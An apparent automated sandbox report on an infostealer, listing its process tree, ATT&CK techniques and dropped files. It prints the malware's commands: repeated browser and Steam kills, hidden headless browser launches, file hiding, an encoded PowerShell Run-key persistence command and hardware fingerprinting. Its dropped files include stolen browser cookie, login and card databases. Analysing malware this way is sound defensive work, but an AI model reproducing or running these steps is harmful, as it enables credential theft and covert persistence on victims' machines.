C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5940,i,16407852538254077738,2786981185708771481,524288 --field-trial-handle=1936,i,8324863160420753958,1698308976993167205,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5908 /prefetch:82⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5936,i,11501435674686441250,9812874542073378373,524288 --field-trial-handle=1936,i,8324863160420753958,1698308976993167205,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3556 /prefetch:82⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5448,i,2993198514426386702,9567694898180162574,524288 --field-trial-handle=1936,i,8324863160420753958,1698308976993167205,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4436 /prefetch:82⤵
-
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc1⤵
-
C:\Windows\System32\GameBarPresenceWriter.exe"C:\Windows\System32\GameBarPresenceWriter.exe" -ServerName:Windows.Gaming.GameBar.Internal.PresenceWriterServer1⤵
- Network Service Discovery
-
C:\Windows\system32\OpenWith.exeC:\Windows\system32\OpenWith.exe -Embedding1⤵
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k BcastDVRUserService -s BcastDVRUserService1⤵
-
C:\Windows\system32\OpenWith.exeC:\Windows\system32\OpenWith.exe -Embedding1⤵
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k GraphicsPerfSvcGroup -s GraphicsPerfSvc1⤵
- Modifies data under HKEY_USERS
-
C:\Windows\System32\GameBarPresenceWriter.exe"C:\Windows\System32\GameBarPresenceWriter.exe" -ServerName:Windows.Gaming.GameBar.Internal.PresenceWriterServer1⤵
- Network Service Discovery
-
C:\Windows\system32\OpenWith.exeC:\Windows\system32\OpenWith.exe -Embedding1⤵
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k BcastDVRUserService -s BcastDVRUserService1⤵
-
C:\Windows\system32\wbem\WmiApSrv.exeC:\Windows\system32\wbem\WmiApSrv.exe1⤵
-
C:\Windows\System32\GameBarPresenceWriter.exe"C:\Windows\System32\GameBarPresenceWriter.exe" -ServerName:Windows.Gaming.GameBar.Internal.PresenceWriterServer1⤵
- Network Service Discovery
-
C:\Windows\system32\OpenWith.exeC:\Windows\system32\OpenWith.exe -Embedding1⤵
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k BcastDVRUserService -s BcastDVRUserService1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k BcastDVRUserService -s BcastDVRUserService1⤵
- Checks processor information in registry
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Users\Admin\AppData\Local\Temp\3G62xNT2uHibQsDjw9d3sah9hlK\javaws.exeC:\Users\Admin\AppData\Local\Temp\3G62xNT2uHibQsDjw9d3sah9hlK\javaws.exe1⤵
- Checks computer location settings
- Executes dropped EXE
- Checks processor information in registry
- Enumerates system info in registry
-
C:\Users\Admin\AppData\Local\Temp\3G62xNT2uHibQsDjw9d3sah9hlK\javaws.exe"C:\Users\Admin\AppData\Local\Temp\3G62xNT2uHibQsDjw9d3sah9hlK\javaws.exe" --type=gpu-process --user-data-dir="C:\Users\Admin\AppData\Roaming\javaws" --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --mojo-platform-channel-handle=1896 --field-trial-handle=1916,i,13673251570511023733,7346130888751203806,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:22⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\3G62xNT2uHibQsDjw9d3sah9hlK\javaws.exe"C:\Users\Admin\AppData\Local\Temp\3G62xNT2uHibQsDjw9d3sah9hlK\javaws.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Roaming\javaws" --mojo-platform-channel-handle=2000 --field-trial-handle=1916,i,13673251570511023733,7346130888751203806,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:82⤵
- Executes dropped EXE
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "tasklist /fo csv /nh"2⤵
-
C:\Windows\system32\tasklist.exetasklist /fo csv /nh3⤵
- Enumerates processes with tasklist
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM chrome.exe"2⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM chrome.exe3⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM brave.exe"2⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM brave.exe3⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM msedge.exe"2⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM msedge.exe3⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM firefox.exe"2⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM firefox.exe3⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM opera.exe"2⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM opera.exe3⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM vivaldi.exe"2⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM vivaldi.exe3⤵
- Kills process with taskkill
-
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --headless=new --no-startup-window --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --disable-extensions --disable-background-networking --window-position=-32000,-32000 --window-size=1,12⤵
- Drops file in System32 directory
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless=new --no-startup-window --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --disable-extensions --disable-background-networking --window-position=-32000,-32000 --window-size=1,12⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /IM Steam.exe /F"2⤵
-
C:\Windows\system32\taskkill.exetaskkill /IM Steam.exe /F3⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "tasklist"2⤵
-
C:\Windows\system32\tasklist.exetasklist3⤵
- Enumerates processes with tasklist
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsSecurityHealth""2⤵
-
C:\Windows\system32\reg.exereg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsSecurityHealth"3⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM chrome.exe"2⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM chrome.exe3⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM brave.exe"2⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM brave.exe3⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM msedge.exe"2⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM msedge.exe3⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM firefox.exe"2⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM firefox.exe3⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM opera.exe"2⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM opera.exe3⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM vivaldi.exe"2⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM vivaldi.exe3⤵
- Kills process with taskkill
-
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --headless=new --no-startup-window --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --disable-extensions --disable-background-networking --window-position=-32000,-32000 --window-size=1,12⤵
- Drops file in System32 directory
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless=new --no-startup-window --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --disable-extensions --disable-background-networking --window-position=-32000,-32000 --window-size=1,12⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /IM Steam.exe /F"2⤵
-
C:\Windows\system32\taskkill.exetaskkill /IM Steam.exe /F3⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "tasklist"2⤵
-
C:\Windows\system32\tasklist.exetasklist3⤵
- Enumerates processes with tasklist
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsSecurityHealth""2⤵
-
C:\Windows\system32\reg.exereg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsSecurityHealth"3⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM chrome.exe"2⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM chrome.exe3⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM brave.exe"2⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM brave.exe3⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM msedge.exe"2⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM msedge.exe3⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM firefox.exe"2⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM firefox.exe3⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM opera.exe"2⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM opera.exe3⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM vivaldi.exe"2⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM vivaldi.exe3⤵
- Kills process with taskkill
-
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --headless=new --no-startup-window --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --disable-extensions --disable-background-networking --window-position=-32000,-32000 --window-size=1,12⤵
- Drops file in System32 directory
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless=new --no-startup-window --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --disable-extensions --disable-background-networking --window-position=-32000,-32000 --window-size=1,12⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /IM Steam.exe /F"2⤵
-
C:\Windows\system32\taskkill.exetaskkill /IM Steam.exe /F3⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "tasklist"2⤵
-
C:\Windows\system32\tasklist.exetasklist3⤵
- Enumerates processes with tasklist
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsSecurityHealth""2⤵
-
C:\Windows\system32\reg.exereg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsSecurityHealth"3⤵
-
-
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Users\Admin\AppData\Local\Temp\sysmetrics.exe"C:\Users\Admin\AppData\Local\Temp\sysmetrics.exe" CRYBOUND-JAVA-ADVANCED-MONTHLY-C770970CB5ED1⤵
- Executes dropped EXE
- Checks processor information in registry
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "attrib +h "C:\Users\Admin\AppData\Roaming\Cry\2d9098a5.txt""2⤵
- Hide Artifacts: Hidden Files and Directories
-
C:\Windows\system32\attrib.exeattrib +h "C:\Users\Admin\AppData\Roaming\Cry\2d9098a5.txt"3⤵
- Views/modifies file attributes
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\2cc2398127.lnk""2⤵
- Hide Artifacts: Hidden Files and Directories
-
C:\Windows\system32\attrib.exeattrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\2cc2398127.lnk"3⤵
- Drops startup file
- Views/modifies file attributes
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -WindowStyle Hidden -EncodedCommand TgBlAHcALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAC0AUABhAHQAaAAgACcASABLAEMAVQA6AFwAUwBvAGYAdAB3AGEAcgBlAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwAUgB1AG4AJwAgAC0ATgBhAG0AZQAgACcAMgBjAGMAMgAzADkAOAAxADIANwAnACAALQBWAGEAbAB1AGUAIAAnACIAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABzAHkAcwBtAGUAdAByAGkAYwBzAC4AZQB4AGUAIgAgAEMAUgBZAEIATwBVAE4ARAAtAEoAQQBWAEEALQBBAEQAVgBBAE4AQwBFAEQALQBNAE8ATgBUAEgATABZAC0AQwA3ADcAMAA5ADcAMABDAEIANQBFAEQAJwAgAC0AUAByAG8AcABlAHIAdAB5AFQAeQBwAGUAIABTAHQAcgBpAG4AZwAgAC0ARgBvAHIAYwBlACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA="2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -WindowStyle Hidden -EncodedCommand TgBlAHcALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAC0AUABhAHQAaAAgACcASABLAEMAVQA6AFwAUwBvAGYAdAB3AGEAcgBlAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwAUgB1AG4AJwAgAC0ATgBhAG0AZQAgACcAMgBjAGMAMgAzADkAOAAxADIANwAnACAALQBWAGEAbAB1AGUAIAAnACIAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABzAHkAcwBtAGUAdAByAGkAYwBzAC4AZQB4AGUAIgAgAEMAUgBZAEIATwBVAE4ARAAtAEoAQQBWAEEALQBBAEQAVgBBAE4AQwBFAEQALQBNAE8ATgBUAEgATABZAC0AQwA3ADcAMAA5ADcAMABDAEIANQBFAEQAJwAgAC0AUAByAG8AcABlAHIAdAB5AFQAeQBwAGUAIABTAHQAcgBpAG4AZwAgAC0ARgBvAHIAYwBlACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA=3⤵
- Command and Scripting Interpreter: PowerShell
- Adds Run key to start application
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "WMIC csproduct get UUID"2⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC csproduct get UUID3⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "(Get-CimInstance Win32_BaseBoard | ForEach-Object { $_.Manufacturer + ' ' + $_.Product }) -join ', '""2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -ExecutionPolicy Bypass -Command "(Get-CimInstance Win32_BaseBoard | ForEach-Object { $_.Manufacturer + ' ' + $_.Product }) -join ', '"3⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "(Get-CimInstance Win32_VideoController | Select-Object -ExpandProperty Name) -join ', '""2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -ExecutionPolicy Bypass -Command "(Get-CimInstance Win32_VideoController | Select-Object -ExpandProperty Name) -join ', '"3⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "(Get-CimInstance Win32_OperatingSystem).Caption""2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -ExecutionPolicy Bypass -Command "(Get-CimInstance Win32_OperatingSystem).Caption"3⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Start-Process -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\sysmetrics.exe' -WorkingDirectory 'C:\Users\Admin\AppData\Local\Temp' -ArgumentList 'CRYBOUND-JAVA-ADVANCED-MONTHLY-C770970CB5ED' -WindowStyle Hidden"1⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Windows\system32\control.exe"C:\Windows\system32\control.exe" SYSTEM1⤵
-
C:\Windows\SysWOW64\DllHost.exeC:\Windows\SysWOW64\DllHost.exe /Processid:{06622D85-6856-4460-8DE1-A81921B41C4B}1⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\explorer.exeC:\Windows\explorer.exe /factory,{5BD95610-9434-43C2-886C-57852CC8A120} -Embedding1⤵
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
Network
MITRE ATT&CK Enterprise v16
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
2Change Default File Association
1Component Object Model Hijacking
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
2Change Default File Association
1Component Object Model Hijacking
1Defense Evasion
Hide Artifacts
2Hidden Files and Directories
2Modify Registry
5Subvert Trust Controls
2Install Root Certificate
1SIP and Trust Provider Hijacking
1Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Discovery
Browser Information Discovery
1Network Service Discovery
1Network Share Discovery
1Peripheral Device Discovery
2Process Discovery
1Query Registry
8System Information Discovery
7System Location Discovery
1System Language Discovery
1System Network Configuration Discovery
1Internet Connection Discovery
1System Time Discovery
1Replay Monitor
Loading Replay Monitor...
Downloads
3903daac9bc4a3b7.timestamp
BookmarkMergedSurfaceOrdering
BrowsingTopicsState
f_000014
the-real-index
data_1
Network Persistent State
SCT Auditing Pending Reports
TransportSecurity
Preferences
Preferences
Secure Preferences
the-real-index
the-real-index~RFe5c16cb.TMP
the-real-index
Local State
Local State
Local State
Local State
Local State
Local State
FileSyncClient.dll
FileSyncConfig.exe
FileSyncSessions.dll
FileSyncTelemetryExtensions.dll
FileSyncViews.dll
LogUploader.dll
LoggingPlatform.dll
OneDriveMedTile.contrast-black_scale-100.png
OneDriveMedTile.contrast-black_scale-125.png
OneDriveMedTile.contrast-black_scale-150.png
OneDriveMedTile.contrast-black_scale-200.png
OneDriveMedTile.contrast-black_scale-400.png
OneDriveMedTile.contrast-white_scale-100.png
OneDriveMedTile.contrast-white_scale-125.png
OneDriveMedTile.contrast-white_scale-150.png
OneDriveMedTile.contrast-white_scale-200.png
OneDriveMedTile.contrast-white_scale-400.png
OneDriveMedTile.scale-100.png
OneDriveMedTile.scale-125.png
OneDriveMedTile.scale-150.png
OneDriveMedTile.scale-200.png
OneDriveMedTile.scale-400.png
OneDriveSmallTile.contrast-black_scale-100.png
OneDriveSmallTile.contrast-black_scale-125.png
OneDriveSmallTile.contrast-black_scale-150.png
OneDriveSmallTile.contrast-black_scale-200.png
OneDriveSmallTile.contrast-black_scale-400.png
OneDriveSmallTile.scale-100.png
OneDriveSmallTile.scale-125.png
OneDriveSmallTile.scale-150.png
OneDriveSmallTile.scale-200.png
OneDriveSmallTile.scale-400.png
MSVCP140.dll
OneDrive.VisualElementsManifest.xml
OneDrive.exe
OneDriveStandaloneUpdater.exe
OneDriveTelemetryStable.dll
Qt5Core.dll
Resources.pri
SyncEngine.dll
Telemetry.dll
UpdateRingSettings.dll
WebView2Loader.dll
WnsClientApi.dll
adal.dll
ucrtbase.dll
vcruntime140.dll
Square44x44Logo.targetsize-256.png
Resources.resw
FileSyncConfig.exe
OneDriveMedTile.contrast-black_scale-100.png
OneDriveMedTile.contrast-black_scale-125.png
OneDriveMedTile.contrast-black_scale-150.png
OneDriveMedTile.contrast-black_scale-200.png
OneDriveMedTile.contrast-black_scale-400.png
OneDriveMedTile.contrast-white_scale-100.png
OneDriveMedTile.contrast-white_scale-125.png
OneDriveMedTile.contrast-white_scale-150.png
OneDriveMedTile.contrast-white_scale-200.png
OneDriveMedTile.contrast-white_scale-400.png
OneDriveMedTile.scale-100.png
OneDriveMedTile.scale-125.png
OneDriveMedTile.scale-150.png
OneDriveMedTile.scale-200.png
OneDriveMedTile.scale-400.png
OneDriveSmallTile.contrast-black_scale-100.png
OneDriveSmallTile.contrast-black_scale-125.png
OneDriveSmallTile.contrast-black_scale-150.png
OneDriveSmallTile.contrast-black_scale-200.png
OneDriveSmallTile.contrast-black_scale-400.png
OneDriveSmallTile.scale-100.png
OneDriveSmallTile.scale-125.png
OneDriveSmallTile.scale-150.png
OneDriveSmallTile.scale-200.png
OneDriveSmallTile.scale-400.png
Resources.pri
OneDrive.App.exe
OneDrive.exe
OneDriveStandaloneUpdater.exe
nso-ZA.json
localizable.json
Square44x44Logo.altform-unplated_targetsize-16.png
Square44x44Logo.altform-unplated_targetsize-24.png
Square44x44Logo.altform-unplated_targetsize-32.png
Square44x44Logo.altform-unplated_targetsize-48.png
FileSyncConfig.exe
OneDrive.App.exe
OneDrive.exe
nso-ZA.json
acm_low_disk_space_online_only.svg
addedFolderIcon_mac.svg
addedFolderIcon_win.svg
blurrect.png
checkboxComposite.svg
clock_icon.svg
done_graphic.svg
errorIcon.svg
excel.svg
eyelash.svg
file.svg
fileLockIcon.svg
finderExtensionPrompt.svg
folder_image_desktop_mac.svg
folder_image_documents_mac.svg
folder_image_pictures_mac.svg
iceBucket.svg
loading.svg
loading_spinner.svg
lock_graphic.svg
lock_icon.svg
onDemandFiles.svg
onDemandFilesDehydrate.svg
onDemandSelectiveSync.svg
onenote.svg
outlook.svg
partiallyFreezing.svg
paused.svg
powerpoint.svg
premium_gem.svg
reSignIn.svg
recycleBin.svg
shield_icon.svg
signIn.svg
signInExclamation.svg
stackedIceCubes.svg
vaultFull.svg
vaultIntro.svg
vaultUnlocked.svg
warning-symbol_grey.svg
waterGlass.svg
word.svg
yellowFolder.svg
acmDismissIcon.svg
Microsoft.ListSync.Settings.db
Microsoft.ListSync.Settings.db
Microsoft.ListSync.Settings.db
Microsoft.ListSync.Thumbnails.db
Microsoft.LocalContent.db
Microsoft.LocalContent.db-wal
OneDriveStandaloneUpdater.exe
OneDriveSetup.exe
UpdateCodec.xml
codecpayload.cab
telemetry-dll-ramp-value.txt
global.ini
global.ini
logUploaderSettings_temp.ini
logUploaderSettings_temp.ini
logUploaderSettings_temp.ini
DeviceHealthSummaryConfiguration.ini
1521f696d8626c8e8127c0284ab987ff1974f39a.tbres
4e7a3602a6530194fc2a9d803f78656054f42b7e.tbres
update100[1].xml
PreSignInSettingsConfig[1].json
f6b17204d68b2ed34e018d6d81a323856f39a4d9[1].xml
activity-stream.contile.json
activity-stream.discovery_stream.json
activity-stream.weather_feed.json
9512A4488B00CC053350DAC32D417B4A35C11513
webext.sc.lz4
+JXF10178383373793004022.tmp
+JXF1299186010734267637.tmp
+JXF3069828192071339798.tmp
+JXF3125039464474103979.tmp
+JXF676287981091727278.tmp
130746.zip
204383.zip
272270.zip
386573.zip
chrome_100_percent.pak
711321.zip
__PSScriptPolicyTest_gsd4vb2b.b0v.ps1
200.ico
BrowserInstaller.exe
IRIMG1.BMP
IRIMG10.PNG
IRIMG14.PNG
IRIMG15.PNG
IRIMG17.PNG
IRIMG2.BMP
IRIMG3.BMP
IRZip.lmd
Wow64.lmd
irsetup.exe
lua5.3.dll
irsetup.exe
lua5.3.dll
aria-debug-4368.log
cookies_chrome_1783349304444.db
cert9.db
key4.db
pkcs11.txt
firefox_1783349304642_v3sguoagvpr.db
ibans_chrome_1783349236999.db
logins_chrome_1783349304451.db
mc_1783349239553.zip
LICENSE.electron.txt
LICENSES.chromium.html
chrome_200_percent.pak
d3dcompiler_47.dll
ffmpeg.dll
icudtl.dat
libEGL.dll
libGLESv2.dll
af.pak
am.pak
ar.pak
bg.pak
bn.pak
ca.pak
cs.pak
da.pak
de.pak
el.pak
en-GB.pak
en-US.pak
es-419.pak
es.pak
et.pak
fa.pak
fi.pak
fil.pak
fr.pak
gu.pak
he.pak
hi.pak
hr.pak
hu.pak
id.pak
it.pak
